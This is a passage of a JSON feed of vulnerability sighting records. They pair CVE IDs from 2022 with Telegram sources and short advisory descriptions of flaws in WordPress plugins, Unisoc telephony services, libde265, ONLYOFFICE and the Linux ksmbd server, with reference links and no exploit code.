\u043f\u0430\u043c\u044f\u0442\u0438 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u043d\u0438\u043c\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430 \u043f\u043e\u043b\u0433\u043e\u0434\u0430, \u0442.\u043a. \u0436\u0434\u0430\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u043b\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430.\n\n\u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 ksmbd, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #linux #vulnerability", "creation_timestamp": "2022-12-27T16:17:11.000000Z"}, {"uuid": "57cdc71b-16fa-4c6c-989b-9ffc3f67d9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47478", "type": "seen", "source": "Telegram/DxmAShV7a0Ic2h9ww3qHlpMecjLqawAidurv6FuA0mPd29mF", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "7f89fff7-7bd0-4cd7-a63a-2a328296480f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47477", "type": "seen", "source": "Telegram/LizIUwk6jRlXJcSGhxk5uT4ibolvCsemjNMw1o5sV1DGhQVy", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "f6d62513-8a3d-479f-ab68-7af767cf7903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47475", "type": "seen", "source": "Telegram/WnFrnHFU8YPHiOgWIc_Jc8nlHe2rOMlPLuR0Lzelhw90mZXx", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "af8c019b-669c-4759-994c-b911071a47a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47474", "type": "seen", "source": "Telegram/jvijsLPCSD0CTKJTFxD5nmNmXU47knTV6OBWG2CmVnk9d94m", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "0a90fdd1-91fb-47d0-b501-93f7506b60f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47526", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1524", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47526\n\ud83d\udd39 Description: Fox-IT DataDiode (aka Fox DataDiode) 3.4.3 suffers from a path traversal vulnerability with resultant arbitrary writing of files. A remote attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the downstream node user. Exploitation of this issue does not require user interaction.\n\ud83d\udccf Published: 2023-05-30T00:00:00\n\ud83d\udccf Modified: 2025-01-14T16:55:56.879Z\n\ud83d\udd17 References:\n1. https://www.fox-it.com/nl-en/fox-crypto/fox-datadiode/\n2. https://www.fox-it.com/nl-en/software-vulnerability-report/", "creation_timestamp": "2025-01-14T17:20:47.000000Z"}, {"uuid": "255bb26a-5e23-4de8-a40b-e3005a70a764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47090", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2899", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47090\n\ud83d\udd39 Description: GPAC MP4box 2.1-DEV-rev574-g9d5bb184b contains a buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c, check needed for num_exp_tile_columns\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T13:43:27.473Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2341\n2. https://github.com/gpac/gpac/commit/48760768611f6766bf9e7378bb7cc66cebd6e49d", "creation_timestamp": "2025-01-24T14:04:33.000000Z"}, {"uuid": "fd5dc2be-7954-4bf4-8610-39e151384b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47483", "type": "seen", "source": "Telegram/yK-3mnKeBJwGte-_uFe6rHNMgD6Ndmem83oTq4nyWepqYaZj", "content": "", "creation_timestamp": "2025-03-06T02:17:24.000000Z"}, {"uuid": "ce399b0d-2c86-4b22-84dd-859bfd25886e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47482", "type": "seen", "source": "Telegram/A5MHkRXSBgrWr-mPIXR-PZWqeHOBKP43jabMfKyn9UE4zhzC", "content": "", "creation_timestamp": "2025-03-06T02:17:23.000000Z"}, {"uuid": "25b328d8-f87f-4518-902f-4eed9318ec5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47481", "type": "seen", "source": "Telegram/gSYAsIS8y8XIAj_6lkOAliYAVmMFePwL6oDbjru6n8oeKbTY", "content": "", "creation_timestamp": "2025-03-06T02:17:23.000000Z"}, {"uuid": "cdbd6c8d-1bfc-4d8d-8100-152729aa72ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47480", "type": "seen", "source": "Telegram/kbMoprRyqa9hkyYrFHtysbZFl2dy3HqkSmNapTXn3zuzTPqs", "content": "", "creation_timestamp": "2025-03-06T02:17:23.000000Z"}, {"uuid": "a2e507d8-f8e4-4a56-83ca-dd68fa264e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47879", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2923", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47879\n\ud83d\udd39 Description: A Remote Code Execution (RCE) vulnerability in /be/rpc.php in Jedox 2020.2.5 allows remote authenticated users to load arbitrary PHP classes from the 'rtn' directory and execute its methods.\n\ud83d\udccf Published: 2023-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T15:43:59.792Z\n\ud83d\udd17 References:\n1. http://jedox.com\n2. https://docs.syslifters.com/assets/vulnerability-disclosure/Vulnerability-Disclosure-Jedox-Jedox-04-2023.pdf", "creation_timestamp": "2025-01-24T16:04:44.000000Z"}, {"uuid": "c6bd4fbf-8d81-41b3-a5eb-b30610fb705b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47475", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6712", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47475\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:35.628Z\n\ud83d\udccf Modified: 2025-03-06T16:17:20.962Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-06T16:34:15.000000Z"}, {"uuid": "4d918e5e-e9df-42e2-a24a-b239cccc8c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47412", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8670", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47412\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Given a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition.\n\ud83d\udccf Published: 2023-02-07T19:16:17.595Z\n\ud83d\udccf Modified: 2025-03-25T14:10:22.955Z\n\ud83d\udd17 References:\n1. https://www.rapid7.com/blog/post/2023/02/07/multiple-dms-xss-cve-2022-47412-through-cve-20222-47419/\n2. https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#733", "creation_timestamp": "2025-03-25T14:24:28.000000Z"}, {"uuid": "02e28520-92ff-461e-91ea-d2421759ad8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47413", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47413\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: \nGiven a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or \"Type II\") XSS condition.\n\n\n\ud83d\udccf Published: 2023-02-07T21:37:34.095Z\n\ud83d\udccf Modified: 2025-03-25T14:08:53.524Z\n\ud83d\udd17 References:\n1. https://www.rapid7.com/blog/post/2023/02/07/multiple-dms-xss-cve-2022-47412-through-cve-20222-47419/", "creation_timestamp": "2025-03-25T14:24:31.000000Z"}, {"uuid": "7c343d0f-04a8-4ae1-a8d6-7a7ce645cc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47471", "type": "seen", "source": "Telegram/UwEnmNJ_MWmQVBCQXZ4fNxHRBq5wjoQU2WipUyFLQ0mQtgWn", "content": "", "creation_timestamp": "2025-03-06T02:16:33.000000Z"}, {"uuid": "9f41d954-8db4-41e2-abaa-5cb9dc68cb2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47471", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6566", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47471\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:33.233Z\n\ud83d\udccf Modified: 2025-03-05T17:22:34.235Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-05T18:30:16.000000Z"}, {"uuid": "41d59e97-e855-4042-bc99-94757e3feb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47454", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7329", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47454\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-03-07T01:31:53.341Z\n\ud83d\udccf Modified: 2025-03-12T16:21:20.899Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-12T16:41:06.000000Z"}, {"uuid": "30e12dde-2068-41cb-bc32-ce17c637d6a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47461", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6582", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47461\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephone service, there is a missing permission check. This could lead to local escalation of privilege with system execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:22.460Z\n\ud83d\udccf Modified: 2025-03-05T16:58:31.705Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-05T18:36:43.000000Z"}, {"uuid": "ba174acc-02ff-4a3d-921f-dad3e4e52945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47480", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6629", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47480\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local denial of service in telephone service with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:46.367Z\n\ud83d\udccf Modified: 2025-03-05T21:12:02.964Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-05T21:35:08.000000Z"}, {"uuid": "3c328672-6bf8-413b-a6fd-ce755cae413d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47460", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6581", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47460\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In gpu device, there is a memory corruption due to a use after free. This could lead to local denial of service in kernel.\n\ud83d\udccf Published: 2023-03-07T01:31:21.530Z\n\ud83d\udccf Modified: 2025-03-05T16:59:11.685Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-05T18:30:38.000000Z"}, {"uuid": "dc50c98a-82b4-40d9-8779-33a286f71071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47476", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6681", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47476\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:36.544Z\n\ud83d\udccf Modified: 2025-03-06T15:29:11.207Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-06T16:06:57.000000Z"}, {"uuid": "e5d5d5ae-36b8-45f7-a9f0-c096d8086d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47481", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6630", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47481\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local denial of service in telephone service with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:47.818Z\n\ud83d\udccf Modified: 2025-03-05T21:10:40.898Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-05T21:35:15.000000Z"}, {"uuid": "95020fa7-39cc-4c06-9629-ca32410e1f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47474", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6709", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47474\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-03-07T01:31:34.183Z\n\ud83d\udccf Modified: 2025-03-06T16:18:48.248Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1632612109718192129", "creation_timestamp": "2025-03-06T16:34:09.000000Z"}, {"uuid": "b12c5768-425c-47b8-b0fb-5ff3691d1896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47664", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6845", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47664\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Libde265 1.0.9 is vulnerable to Buffer Overflow in ff_hevc_put_hevc_qpel_pixels_8_sse\n\ud83d\udccf Published: 2023-03-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-07T16:30:37.707Z\n\ud83d\udd17 References:\n1. https://github.com/strukturag/libde265/issues/368", "creation_timestamp": "2025-03-07T16:35:12.000000Z"}, {"uuid": "8b65c5cb-b021-4494-8d5c-539b03ced4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47665", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6844", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47665\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Libde265 1.0.9 has a heap buffer overflow vulnerability in de265_image::set_SliceAddrRS(int, int, int)\n\ud83d\udccf Published: 2023-03-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-07T16:32:07.980Z\n\ud83d\udd17 References:\n1. https://github.com/strukturag/libde265/issues/369", "creation_timestamp": "2025-03-07T16:35:12.000000Z"}, {"uuid": "6588e2d6-4f52-4386-ab38-bf075d00f355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47458", "type": "seen", "source": "Telegram/BJSrk7E-9En6K_HIDnh5mnq7GbIydQMTOuEkt0ofwT8s0LXZ", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "bd60e8c6-8daa-4da1-9dc2-83803b682f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4791", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7566", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4791\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Product Slider and Carousel with Category for WooCommerce WordPress plugin before 2.8 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.\n\ud83d\udccf Published: 2023-02-21T08:50:51.637Z\n\ud83d\udccf Modified: 2025-03-14T13:46:20.200Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/0a6e4c45-3f6d-4150-9546-141c2e3a1782", "creation_timestamp": "2025-03-14T14:45:25.000000Z"}, {"uuid": "389398d7-8825-402d-9860-7812d0cc641f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4764", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7375", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4764\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Simple File Downloader WordPress plugin through 1.0.4 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-02-21T08:50:55.747Z\n\ud83d\udccf Modified: 2025-03-12T20:26:35.473Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/788c6aa2-14cc-411f-95e8-5994f8c82d70", "creation_timestamp": "2025-03-12T20:42:36.000000Z"}, {"uuid": "ecd4ac05-1db0-4901-b676-e96889af2c44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4761", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4761\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Post Views Count WordPress plugin through 3.0.2 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-02-21T08:50:44.527Z\n\ud83d\udccf Modified: 2025-03-12T20:28:43.654Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/ad163020-8b9c-42cb-a55f-b137b224bafb", "creation_timestamp": "2025-03-12T20:42:30.000000Z"}, {"uuid": "dc369161-7b40-431e-8d29-7fc4c389d331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4784", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7560", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4784\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Hueman Addons WordPress plugin through 2.3.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\ud83d\udccf Published: 2023-02-21T08:50:50.067Z\n\ud83d\udccf Modified: 2025-03-14T13:56:39.577Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a30c6f1e-62fd-493d-ad5e-1b55ceec62a9", "creation_timestamp": "2025-03-14T14:45:17.000000Z"}, {"uuid": "17d16c94-3f78-4d37-bf40-dbca41e6dbfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47703", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7940", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47703\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TIANJIE CPE906-3 is vulnerable to password disclosure. This is present on Software Version WEB5.0_LCD_20200513, Firmware Version MV8.003, and Hardware Version CPF906-V5.0_LCD_20200513.\n\ud83d\udccf Published: 2023-02-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-18T17:41:44.427Z\n\ud83d\udd17 References:\n1. https://github.com/OlivierLaflamme/cve/blob/main/TIANJIE/CPE906-3/unauth_password_disclosure.md", "creation_timestamp": "2025-03-18T17:48:35.000000Z"}, {"uuid": "23b6f304-1afa-4498-803a-ddf12cdb8d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4782", "type": "published-proof-of-concept", "source": "Telegram/zhMRtEeO6td5fJQtSJvtnbw4PkUqsQPOKiejP_9RB36j-8I", "content": "", "creation_timestamp": "2026-01-08T21:00:04.000000Z"}, {"uuid": "2db5c175-f6d3-48cf-b7d2-875cd43dc4c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47346", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8771", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47346\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\ud83d\udccf Published: 2023-02-06T05:26:56.561Z\n\ud83d\udccf Modified: 2025-03-25T20:49:55.644Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-25T21:25:15.000000Z"}, {"uuid": "19378f4f-1717-40a4-aaa7-d4c0526dbcbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47347", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8770", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47347\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\ud83d\udccf Published: 2023-02-06T05:26:57.480Z\n\ud83d\udccf Modified: 